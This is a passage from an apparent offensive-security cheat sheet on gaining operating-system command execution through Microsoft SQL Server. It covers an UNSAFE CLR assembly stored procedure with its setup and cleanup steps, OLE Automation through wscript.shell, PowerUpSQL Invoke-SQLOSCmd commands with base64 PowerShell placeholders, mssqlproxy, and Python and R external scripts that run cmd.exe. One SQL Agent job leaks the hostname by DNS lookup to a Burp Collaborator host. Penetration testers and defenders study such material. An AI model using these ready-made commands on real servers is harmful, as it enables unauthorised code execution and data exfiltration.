<a id="__codelineno-7-28" name="__codelineno-7-28" href="#__codelineno-7-28"></a><span class="w"> </span><span class="c1">// Set values for each column in the row</span>
|
||
<a id="__codelineno-7-29" name="__codelineno-7-29" href="#__codelineno-7-29"></a><span class="w"> </span><span class="n">record</span><span class="p">.</span><span class="n">SetString</span><span class="p">(</span><span class="m">0</span><span class="p">,</span><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">StandardOutput</span><span class="p">.</span><span class="n">ReadToEnd</span><span class="p">().</span><span class="n">ToString</span><span class="p">());</span>
|
||
<a id="__codelineno-7-30" name="__codelineno-7-30" href="#__codelineno-7-30"></a>
|
||
<a id="__codelineno-7-31" name="__codelineno-7-31" href="#__codelineno-7-31"></a><span class="w"> </span><span class="c1">// Send the row back to the client.</span>
|
||
<a id="__codelineno-7-32" name="__codelineno-7-32" href="#__codelineno-7-32"></a><span class="w"> </span><span class="n">SqlContext</span><span class="p">.</span><span class="n">Pipe</span><span class="p">.</span><span class="n">SendResultsRow</span><span class="p">(</span><span class="n">record</span><span class="p">);</span>
|
||
<a id="__codelineno-7-33" name="__codelineno-7-33" href="#__codelineno-7-33"></a>
|
||
<a id="__codelineno-7-34" name="__codelineno-7-34" href="#__codelineno-7-34"></a><span class="w"> </span><span class="c1">// Mark the end of the result set.</span>
|
||
<a id="__codelineno-7-35" name="__codelineno-7-35" href="#__codelineno-7-35"></a><span class="w"> </span><span class="n">SqlContext</span><span class="p">.</span><span class="n">Pipe</span><span class="p">.</span><span class="n">SendResultsEnd</span><span class="p">();</span>
|
||
<a id="__codelineno-7-36" name="__codelineno-7-36" href="#__codelineno-7-36"></a>
|
||
<a id="__codelineno-7-37" name="__codelineno-7-37" href="#__codelineno-7-37"></a><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">WaitForExit</span><span class="p">();</span>
|
||
<a id="__codelineno-7-38" name="__codelineno-7-38" href="#__codelineno-7-38"></a><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">Close</span><span class="p">();</span>
|
||
<a id="__codelineno-7-39" name="__codelineno-7-39" href="#__codelineno-7-39"></a><span class="w"> </span><span class="p">}</span>
|
||
<a id="__codelineno-7-40" name="__codelineno-7-40" href="#__codelineno-7-40"></a><span class="p">};</span>
|
||
</code></pre></div>
|
||
<p>Then follow these instructions:</p>
|
||
<ol>
|
||
<li>Enable <code>show advanced options</code> on the server
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">sp_configure</span><span class="w"> </span><span class="s1">'show advanced options'</span><span class="p">,</span><span class="mi">1</span><span class="p">;</span><span class="w"> </span>
|
||
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">RECONFIGURE</span>
|
||
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="k">GO</span>
|
||
</code></pre></div></li>
|
||
<li>Enable CLR on the server
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">sp_configure</span><span class="w"> </span><span class="s1">'clr enabled'</span><span class="p">,</span><span class="mi">1</span>
|
||
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="n">RECONFIGURE</span>
|
||
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="k">GO</span>
|
||
</code></pre></div></li>
|
||
<li>Trust the assembly by adding its SHA512 hash
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="w"> </span><span class="k">EXEC</span><span class="w"> </span><span class="n">sys</span><span class="p">.</span><span class="n">sp_add_trusted_assembly</span><span class="w"> </span><span class="mi">0</span><span class="n">x</span><span class="p">[</span><span class="n">SHA512</span><span class="p">],</span><span class="w"> </span><span class="n">N</span><span class="s1">'assembly'</span><span class="p">;</span>
|
||
</code></pre></div></li>
|
||
<li>Import the assembly
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="k">CREATE</span><span class="w"> </span><span class="n">ASSEMBLY</span><span class="w"> </span><span class="n">my_assembly</span>
|
||
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="k">FROM</span><span class="w"> </span><span class="s1">'c:\temp\cmd_exec.dll'</span>
|
||
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="k">WITH</span><span class="w"> </span><span class="n">PERMISSION_SET</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">UNSAFE</span><span class="p">;</span>
|
||
</code></pre></div></li>
|
||
<li>Link the assembly to a stored procedure
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="k">CREATE</span><span class="w"> </span><span class="k">PROCEDURE</span><span class="w"> </span><span class="p">[</span><span class="n">dbo</span><span class="p">].[</span><span class="n">cmd_exec</span><span class="p">]</span><span class="w"> </span><span class="o">@</span><span class="n">execCommand</span><span class="w"> </span><span class="n">NVARCHAR</span><span class="w"> </span><span class="p">(</span><span class="mi">4000</span><span class="p">)</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="k">EXTERNAL</span><span class="w"> </span><span class="n">NAME</span><span class="w"> </span><span class="p">[</span><span class="n">my_assembly</span><span class="p">].[</span><span class="n">StoredProcedures</span><span class="p">].[</span><span class="n">cmd_exec</span><span class="p">];</span>
|
||
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="k">GO</span>
|
||
</code></pre></div></li>
|
||
<li>Execute and clean
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">cmd_exec</span><span class="w"> </span><span class="ss">"whoami"</span>
|
||
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="k">DROP</span><span class="w"> </span><span class="k">PROCEDURE</span><span class="w"> </span><span class="n">cmd_exec</span>
|
||
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="k">DROP</span><span class="w"> </span><span class="n">ASSEMBLY</span><span class="w"> </span><span class="n">my_assembly</span>
|
||
</code></pre></div></li>
|
||
</ol>
|
||
<p><strong>CREATE ASSEMBLY</strong> will also accept an hexadecimal string representation of a CLR DLL</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="k">CREATE</span><span class="w"> </span><span class="n">ASSEMBLY</span><span class="w"> </span><span class="p">[</span><span class="n">my_assembly</span><span class="p">]</span><span class="w"> </span><span class="k">AUTHORIZATION</span><span class="w"> </span><span class="p">[</span><span class="n">dbo</span><span class="p">]</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span>
|
||
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="mi">0</span><span class="n">x4D5A90000300000004000000F</span><span class="p">[</span><span class="n">TRUNCATED</span><span class="p">]</span>
|
||
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="k">WITH</span><span class="w"> </span><span class="n">PERMISSION_SET</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">UNSAFE</span><span class="w"> </span>
|
||
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a><span class="k">GO</span><span class="w"> </span>
|
||
</code></pre></div>
|
||
<h2 id="ole-automation">OLE Automation</h2>
|
||
<ul>
|
||
<li><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> Disabled by default</li>
|
||
<li>The execution takes place with privileges of the <strong>service account</strong>.</li>
|
||
</ul>
|
||
<h3 id="execute-commands-using-ole-automation-procedures">Execute commands using OLE automation procedures</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="nb">Invoke-SQLOSCmdOle</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"whoami"</span> <span class="n">Verbose</span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="c"># Enable OLE Automation</span>
|
||
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="n">EXEC</span> <span class="n">sp_configure</span> <span class="s1">'show advanced options'</span><span class="p">,</span> <span class="n">1</span>
|
||
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a><span class="n">EXEC</span> <span class="n">sp_configure</span> <span class="n">reconfigure</span>
|
||
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a><span class="n">EXEC</span> <span class="n">sp_configure</span> <span class="s1">'OLE Automation Procedures'</span><span class="p">,</span> <span class="n">1</span>
|
||
<a id="__codelineno-16-5" name="__codelineno-16-5" href="#__codelineno-16-5"></a><span class="n">EXEC</span> <span class="n">sp_configure</span> <span class="n">reconfigure</span>
|
||
<a id="__codelineno-16-6" name="__codelineno-16-6" href="#__codelineno-16-6"></a>
|
||
<a id="__codelineno-16-7" name="__codelineno-16-7" href="#__codelineno-16-7"></a><span class="c"># Execute commands</span>
|
||
<a id="__codelineno-16-8" name="__codelineno-16-8" href="#__codelineno-16-8"></a><span class="n">DECLARE</span> <span class="nv">@execmd</span> <span class="n">INT</span>
|
||
<a id="__codelineno-16-9" name="__codelineno-16-9" href="#__codelineno-16-9"></a><span class="n">EXEC</span> <span class="n">SP_OACREATE</span> <span class="s1">'wscript.shell'</span><span class="p">,</span> <span class="nv">@execmd</span> <span class="n">OUTPUT</span>
|
||
<a id="__codelineno-16-10" name="__codelineno-16-10" href="#__codelineno-16-10"></a><span class="n">EXEC</span> <span class="n">SP_OAMETHOD</span> <span class="nv">@execmd</span><span class="p">,</span> <span class="s1">'run'</span><span class="p">,</span> <span class="n">null</span><span class="p">,</span> <span class="s1">'%systemroot%\system32\cmd.exe /c'</span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="c"># https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py</span>
|
||
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="n">python3</span> <span class="n">mssqlclient</span><span class="p">.</span><span class="n">py</span> <span class="s1">'host/username:password@10.10.10.10'</span> <span class="n">-install</span> <span class="n">-clr</span> <span class="n">Microsoft</span><span class="p">.</span><span class="n">SqlServer</span><span class="p">.</span><span class="n">Proxy</span><span class="p">.</span><span class="n">dll</span>
|
||
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="n">python3</span> <span class="n">mssqlclient</span><span class="p">.</span><span class="n">py</span> <span class="s1">'host/username:password@10.10.10.10'</span> <span class="n">-check</span> <span class="n">-reciclador</span> <span class="s1">'C:\windows\temp\reciclador.dll'</span>
|
||
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a><span class="n">python3</span> <span class="n">mssqlclient</span><span class="p">.</span><span class="n">py</span> <span class="s1">'host/username:password@10.10.10.10'</span> <span class="n">-start</span> <span class="n">-reciclador</span> <span class="s1">'C:\windows\temp\reciclador.dll'</span>
|
||
<a id="__codelineno-17-5" name="__codelineno-17-5" href="#__codelineno-17-5"></a><span class="n">SQL</span><span class="p">></span> <span class="n">enable_ole</span>
|
||
<a id="__codelineno-17-6" name="__codelineno-17-6" href="#__codelineno-17-6"></a><span class="n">SQL</span><span class="p">></span> <span class="n">upload</span> <span class="n">reciclador</span><span class="p">.</span><span class="n">dll</span> <span class="n">C</span><span class="p">:\</span><span class="n">windows</span><span class="p">\</span><span class="n">temp</span><span class="p">\</span><span class="n">reciclador</span><span class="p">.</span><span class="n">dll</span>
|
||
</code></pre></div>
|
||
<h2 id="agent-jobs">Agent Jobs</h2>
|
||
<ul>
|
||
<li>The execution takes place with privileges of the <strong>SQL Server Agent service account</strong> if a proxy account is not configured.</li>
|
||
<li><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> Require <strong>sysadmin</strong> or <strong>SQLAgentUserRole</strong>, <strong>SQLAgentReaderRole</strong>, and <strong>SQLAgentOperatorRole</strong> roles to create a job.</li>
|
||
</ul>
|
||
<h3 id="execute-commands-through-sql-agent-job-service">Execute commands through SQL Agent Job service</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="nb">Invoke-SQLOSCmdAgentJob</span> <span class="n">-Subsystem</span> <span class="n">PowerShell</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"powershell e <base64encodedscript>"</span> <span class="n">-Verbose</span>
|
||
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="n">Subsystem</span> <span class="n">Options</span><span class="p">:</span>
|
||
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="err">–</span><span class="n">Subsystem</span> <span class="n">CmdExec</span>
|
||
<a id="__codelineno-18-4" name="__codelineno-18-4" href="#__codelineno-18-4"></a><span class="n">-SubSystem</span> <span class="n">PowerShell</span>
|
||
<a id="__codelineno-18-5" name="__codelineno-18-5" href="#__codelineno-18-5"></a><span class="err">–</span><span class="n">Subsystem</span> <span class="n">VBScript</span>
|
||
<a id="__codelineno-18-6" name="__codelineno-18-6" href="#__codelineno-18-6"></a><span class="err">–</span><span class="n">Subsystem</span> <span class="n">Jscript</span>
|
||
</code></pre></div>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="n">USE</span><span class="w"> </span><span class="n">msdb</span><span class="p">;</span><span class="w"> </span>
|
||
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">dbo</span><span class="p">.</span><span class="n">sp_add_job</span><span class="w"> </span><span class="o">@</span><span class="n">job_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">N</span><span class="s1">'test_powershell_job1'</span><span class="p">;</span><span class="w"> </span>
|
||
<a id="__codelineno-19-3" name="__codelineno-19-3" href="#__codelineno-19-3"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">sp_add_jobstep</span><span class="w"> </span><span class="o">@</span><span class="n">job_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">N</span><span class="s1">'test_powershell_job1'</span><span class="p">,</span><span class="w"> </span><span class="o">@</span><span class="n">step_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">N</span><span class="s1">'test_powershell_name1'</span><span class="p">,</span><span class="w"> </span><span class="o">@</span><span class="n">subsystem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">N</span><span class="s1">'PowerShell'</span><span class="p">,</span><span class="w"> </span><span class="o">@</span><span class="n">command</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">N</span><span class="s1">'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"'</span><span class="p">,</span><span class="w"> </span><span class="o">@</span><span class="n">retry_attempts</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="o">@</span><span class="n">retry_interval</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="p">;</span>
|
||
<a id="__codelineno-19-4" name="__codelineno-19-4" href="#__codelineno-19-4"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">dbo</span><span class="p">.</span><span class="n">sp_add_jobserver</span><span class="w"> </span><span class="o">@</span><span class="n">job_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">N</span><span class="s1">'test_powershell_job1'</span><span class="p">;</span><span class="w"> </span>
|
||
<a id="__codelineno-19-5" name="__codelineno-19-5" href="#__codelineno-19-5"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">dbo</span><span class="p">.</span><span class="n">sp_start_job</span><span class="w"> </span><span class="n">N</span><span class="s1">'test_powershell_job1'</span><span class="p">;</span>
|
||
<a id="__codelineno-19-6" name="__codelineno-19-6" href="#__codelineno-19-6"></a>
|
||
<a id="__codelineno-19-7" name="__codelineno-19-7" href="#__codelineno-19-7"></a><span class="c1">-- delete</span>
|
||
<a id="__codelineno-19-8" name="__codelineno-19-8" href="#__codelineno-19-8"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">dbo</span><span class="p">.</span><span class="n">sp_delete_job</span><span class="w"> </span><span class="o">@</span><span class="n">job_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">N</span><span class="s1">'test_powershell_job1'</span><span class="p">;</span>
|
||
</code></pre></div>
|
||
<h3 id="list-all-jobs">List All Jobs</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="nb">SELECT </span><span class="n">job_id</span><span class="p">,</span> <span class="no">[name]</span> <span class="n">FROM</span> <span class="n">msdb</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">sysjobs</span><span class="p">;</span>
|
||
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="nb">SELECT </span><span class="n">job</span><span class="p">.</span><span class="n">job_id</span><span class="p">,</span> <span class="n">notify_level_email</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">enabled</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">step_name</span><span class="p">,</span> <span class="n">command</span><span class="p">,</span> <span class="n">server</span><span class="p">,</span> <span class="n">database_name</span> <span class="n">FROM</span> <span class="n">msdb</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">sysjobs</span> <span class="n">job</span> <span class="n">INNER</span> <span class="n">JOIN</span> <span class="n">msdb</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">sysjobsteps</span> <span class="n">steps</span> <span class="n">ON</span> <span class="n">job</span><span class="p">.</span><span class="n">job_id</span> <span class="p">=</span> <span class="n">steps</span><span class="p">.</span><span class="n">job_id</span>
|
||
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a><span class="nb">Get-SQLAgentJob</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Verbose</span>
|
||
</code></pre></div>
|
||
<h2 id="external-scripts">External Scripts</h2>
|
||
<p>Requirements:</p>
|
||
<ul>
|
||
<li>Feature 'Advanced Analytics Extensions' must be installed</li>
|
||
<li>Enable <strong>external scripts</strong>.</li>
|
||
</ul>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">sp_configure</span><span class="w"> </span><span class="s1">'external scripts enabled'</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
|
||
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="n">RECONFIGURE</span><span class="p">;</span>
|
||
</code></pre></div>
|
||
<h3 id="python">Python</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="nb">Invoke-SQLOSCmdPython</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"powershell -e <base64encodedscript>"</span> <span class="n">-Verbose</span>
|
||
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a>
|
||
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="n">EXEC</span> <span class="n">sp_execute_external_script</span> <span class="nv">@language</span> <span class="p">=</span><span class="n">N</span><span class="s1">'Python'</span><span class="p">,</span><span class="nv">@script</span><span class="p">=</span><span class="n">N</span><span class="s1">'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'</span>
|
||
<a id="__codelineno-22-4" name="__codelineno-22-4" href="#__codelineno-22-4"></a><span class="n">WITH</span> <span class="n">RESULT</span> <span class="n">SETS</span> <span class="p">((</span><span class="no">[cmd_out]</span> <span class="n">nvarchar</span><span class="p">(</span><span class="n">max</span><span class="p">)))</span>
|
||
</code></pre></div>
|
||
<h3 id="r">R</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="nb">Invoke-SQLOSCmdR</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"powershell -e <base64encodedscript>"</span> <span class="n">-Verbose</span>
|
||
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a>
|
||
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="n">EXEC</span> <span class="n">sp_execute_external_script</span> <span class="nv">@language</span><span class="p">=</span><span class="n">N</span><span class="s1">'R'</span><span class="p">,</span><span class="nv">@script</span><span class="p">=</span><span class="n">N</span><span class="s1">'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'</span>
|
||
<a id="__codelineno-23-4" name="__codelineno-23-4" href="#__codelineno-23-4"></a><span class="n">WITH</span> <span class="n">RESULT</span> <span class="n">SETS</span> <span class="p">((</span><span class="no">[cmd_out]</span> <span class="n">text</span><span class="p">));</span>
|
||
<a id="__codelineno-23-5" name="__codelineno-23-5" href="#__codelineno-23-5"></a><span class="n">GO</span>
|
||
<a id="__codelineno-23-6" name="__codelineno-23-6" href="#__codelineno-23-6"></a>
|
||
<a id="__codelineno-23-7" name="__codelineno-23-7" href="#__codelineno-23-7"></a><span class="nv">@script</span><span class="p">=</span><span class="n">N</span><span class="s1">'OutputDataSet <-data.frame(shell("dir",intern=T))'</span>
|
||
</code></pre></div>
|
||
<h2 id="references">References</h2>
|
||
<ul>
|
||
<li><a href="https://blog.netspi.com/attacking-sql-server-clr-assemblies/">Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017</a></li>
|
||
<li><a href="https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution">MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016</a></li>
|
||
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|
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